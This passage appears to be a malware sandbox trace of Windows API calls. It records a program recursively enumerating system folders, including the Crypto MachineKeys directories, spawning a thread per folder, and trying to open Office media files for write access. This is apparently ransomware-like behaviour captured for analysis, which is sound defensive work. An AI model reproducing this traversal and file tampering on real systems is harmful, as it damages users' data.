(HeapHandle=0x8c0000, Flags=0x8, Size=0xb6) returned 0xd4c6a40 [0146.184] wcscpy (in: _Dest=0xd4c6a40, _Source="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch" | out: _Dest="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch") returned="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch" [0146.184] wcscat (in: _Dest=0xd4c6a40, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\") returned="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\" [0146.185] wcscat (in: _Dest=0xd4c6a40, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\*") returned="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\*" [0146.185] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9baa00 [0146.185] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\*", lpFindFileData=0x9baa00 | out: lpFindFileData=0x9baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8d9c50 [0146.185] wcscmp (_String1=".", _String2=".") returned 0 [0146.185] FindNextFileW (in: hFindFile=0x8d9c50, lpFindFileData=0x9baa00 | out: lpFindFileData=0x9baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.185] wcscmp (_String1="..", _String2=".") returned 1 [0146.185] wcscmp (_String1="..", _String2="..") returned 0 [0146.185] FindNextFileW (in: hFindFile=0x8d9c50, lpFindFileData=0x9baa00 | out: lpFindFileData=0x9baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 1 [0146.185] wcscmp (_String1="x64", _String2=".") returned 1 [0146.185] wcscmp (_String1="x64", _String2="..") returned 1 [0146.185] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xba) returned 0xd4b9d28 [0146.185] wcscpy (in: _Dest=0xd4b9d28, _Source="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch" | out: _Dest="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch") returned="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch" [0146.185] wcscat (in: _Dest=0xd4b9d28, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\") returned="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\" [0146.186] wcscat (in: _Dest=0xd4b9d28, _Source="x64" | out: _Dest="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64") returned="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64" [0147.885] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0xd4b9d28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10fc [0147.886] FindNextFileW (in: hFindFile=0x8d9c50, lpFindFileData=0x9baa00 | out: lpFindFileData=0x9baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 0 [0147.886] FindClose (in: hFindFile=0x8d9c50 | out: hFindFile=0x8d9c50) returned 1 [0147.887] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9baa00) returned 1 [0147.887] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c6a40) returned 1 [0147.887] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c6740) returned 1 Thread: id = 2529 os_tid = 0x1424 [0146.186] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x93c350 [0146.186] wcscpy (in: _Dest=0x93c350, _Source="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0" [0146.186] wcscat (in: _Dest=0x93c350, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\" [0146.186] wcscat (in: _Dest=0x93c350, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\*") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\*" [0146.186] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9b79e0 [0146.186] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\*", lpFindFileData=0x9b79e0 | out: lpFindFileData=0x9b79e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xa8f17049, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x243448f1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93b578 [0146.186] wcscmp (_String1=".", _String2=".") returned 0 [0146.186] FindNextFileW (in: hFindFile=0x93b578, lpFindFileData=0x9b79e0 | out: lpFindFileData=0x9b79e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xa8f17049, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x243448f1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.186] wcscmp (_String1="..", _String2=".") returned 1 [0146.186] wcscmp (_String1="..", _String2="..") returned 0 [0146.186] FindNextFileW (in: hFindFile=0x93b578, lpFindFileData=0x9b79e0 | out: lpFindFileData=0x9b79e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x243448f1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae0e8854, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae0e8854, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0146.186] wcscmp (_String1="en-US", _String2=".") returned 1 [0146.187] wcscmp (_String1="en-US", _String2="..") returned 1 [0146.187] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x72) returned 0x99d988 [0146.187] wcscpy (in: _Dest=0x99d988, _Source="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0" [0146.187] wcscat (in: _Dest=0x99d988, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\" [0146.187] wcscat (in: _Dest=0x99d988, _Source="en-US" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US" [0147.887] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x99d988, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1108 [0147.888] FindNextFileW (in: hFindFile=0x93b578, lpFindFileData=0x9b79e0 | out: lpFindFileData=0x9b79e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x243448f1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae0e8854, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae0e8854, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0147.888] FindClose (in: hFindFile=0x93b578 | out: hFindFile=0x93b578) returned 1 [0147.889] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b79e0) returned 1 [0147.889] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93c350) returned 1 [0147.889] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f17c8) returned 1 Thread: id = 2530 os_tid = 0x1428 [0146.190] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x93c2d8 [0146.190] wcscpy (in: _Dest=0x93c2d8, _Source="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys" [0146.190] wcscat (in: _Dest=0x93c2d8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\" [0146.190] wcscat (in: _Dest=0x93c2d8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\*") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\*" [0146.190] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9ba530 [0146.190] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\*", lpFindFileData=0x9ba530 | out: lpFindFileData=0x9ba530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93b4f8 [0146.190] wcscmp (_String1=".", _String2=".") returned 0 [0146.190] FindNextFileW (in: hFindFile=0x93b4f8, lpFindFileData=0x9ba530 | out: lpFindFileData=0x9ba530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.190] wcscmp (_String1="..", _String2=".") returned 1 [0146.190] wcscmp (_String1="..", _String2="..") returned 0 [0146.190] FindNextFileW (in: hFindFile=0x93b4f8, lpFindFileData=0x9ba530 | out: lpFindFileData=0x9ba530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0146.190] FindClose (in: hFindFile=0x93b4f8 | out: hFindFile=0x93b4f8) returned 1 [0146.190] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ba530) returned 1 [0146.190] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93c2d8) returned 1 [0146.191] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f0fe8) returned 1 Thread: id = 2531 os_tid = 0x142c [0146.191] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x93c2d8 [0146.191] wcscpy (in: _Dest=0x93c2d8, _Source="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys" [0146.192] wcscat (in: _Dest=0x93c2d8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\" [0146.192] wcscat (in: _Dest=0x93c2d8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\*") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\*" [0146.192] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9ba530 [0146.192] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\*", lpFindFileData=0x9ba530 | out: lpFindFileData=0x9ba530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93b4f8 [0146.192] wcscmp (_String1=".", _String2=".") returned 0 [0146.192] FindNextFileW (in: hFindFile=0x93b4f8, lpFindFileData=0x9ba530 | out: lpFindFileData=0x9ba530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.192] wcscmp (_String1="..", _String2=".") returned 1 [0146.192] wcscmp (_String1="..", _String2="..") returned 0 [0146.192] FindNextFileW (in: hFindFile=0x93b4f8, lpFindFileData=0x9ba530 | out: lpFindFileData=0x9ba530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0146.192] FindClose (in: hFindFile=0x93b4f8 | out: hFindFile=0x93b4f8) returned 1 [0146.192] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ba530) returned 1 [0146.192] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93c2d8) returned 1 [0146.192] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f1368) returned 1 Thread: id = 2577 os_tid = 0x14e4 [0146.566] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x98) returned 0x9aeba8 [0146.566] wcscpy (in: _Dest=0x9aeba8, _Source="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList" [0146.566] wcscat (in: _Dest=0x9aeba8, _Source="\\" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\" [0146.566] wcscat (in: _Dest=0x9aeba8, _Source="*" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\*") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\*" [0146.566] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x90fba8 [0146.566] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\*", lpFindFileData=0x90fba8 | out: lpFindFileData=0x90fba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803d8e97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803d8e97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93b678 [0146.567] wcscmp (_String1=".", _String2=".") returned 0 [0146.567] FindNextFileW (in: hFindFile=0x93b678, lpFindFileData=0x90fba8 | out: lpFindFileData=0x90fba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803d8e97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803d8e97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.567] wcscmp (_String1="..", _String2=".") returned 1 [0146.567] wcscmp (_String1="..", _String2="..") returned 0 [0146.567] FindNextFileW (in: hFindFile=0x93b678, lpFindFileData=0x90fba8 | out: lpFindFileData=0x90fba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2273aeba, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x2273aeba, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x5d093be9, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x5ec3, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="")) returned 1 [0146.567] wcscmp (_String1="FrameworkList.xml", _String2=".") returned 1 [0146.567] wcscmp (_String1="FrameworkList.xml", _String2="..") returned 1 [0146.567] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xb8) returned 0xd4c6680 [0146.567] wcscpy (in: _Dest=0xd4c6680, _Source="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList" [0146.567] wcscat (in: _Dest=0xd4c6680, _Source="\\" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\" [0146.567] wcscat (in: _Dest=0xd4c6680, _Source="FrameworkList.xml" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\FrameworkList.xml") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\FrameworkList.xml" [0149.316] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4c6680, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1714 [0149.318] FindNextFileW (in: hFindFile=0x93b678, lpFindFileData=0x90fba8 | out: lpFindFileData=0x90fba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2273aeba, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x2273aeba, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x5d093be9, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x5ec3, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="")) returned 0 [0149.318] FindClose (in: hFindFile=0x93b678 | out: hFindFile=0x93b678) returned 1 [0149.318] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x90fba8) returned 1 [0149.318] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aeba8) returned 1 [0149.318] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ad028) returned 1 Thread: id = 2578 os_tid = 0x14e8 [0146.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18184_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18184_.wmf")) returned 0x20 [0146.568] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18184_.WMF", dwFileAttributes=0x20) returned 0 [0146.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18184_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18184_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0146.568] GetLastError () returned 0x5 [0146.568] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18184_.WMF", dwFileAttributes=0x20) returned 0 [0146.568] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ab428) returned 1 Thread: id = 2579 os_tid = 0x14ec [0146.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18185_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18185_.wmf")) returned 0x20 [0146.569] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18185_.WMF", dwFileAttributes=0x20) returned 0 [0146.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18185_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18185_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0146.570] GetLastError () returned 0x5 [0146.570] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18185_.WMF", dwFileAttributes=0x20) returned 0 [0146.570] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ab390) returned 1 Thread: id = 2580 os_tid = 0x14f0 [0146.571] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18187_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18187_.wmf")) returned 0x20 [0148.694] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18187_.WMF", dwFileAttributes=0x20) returned 0 [0148.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18187_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18187_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0148.694] GetLastError () returned 0x5 [0148.695] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18187_.WMF", dwFileAttributes=0x20) returned 0 [0148.695] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93ff40) returned 1 Thread: id = 2581 os_tid = 0x14f4 [0146.571] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18189_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18189_.wmf")) returned 0x20 [0148.695] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18189_.WMF", dwFileAttributes=0x20) returned 0 [0148.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18189_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18189_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0148.696] GetLastError () returned 0x5 [0148.696] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18189_.WMF", dwFileAttributes=0x20) returned 0 [0148.696] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93ffd8) returned 1 Thread: id = 2582 os_tid = 0x14f8 [0146.572] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18190_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18190_.wmf")) returned 0x20 [0148.697] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18190_.WMF", dwFileAttributes=0x20) returned 0 [0148.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 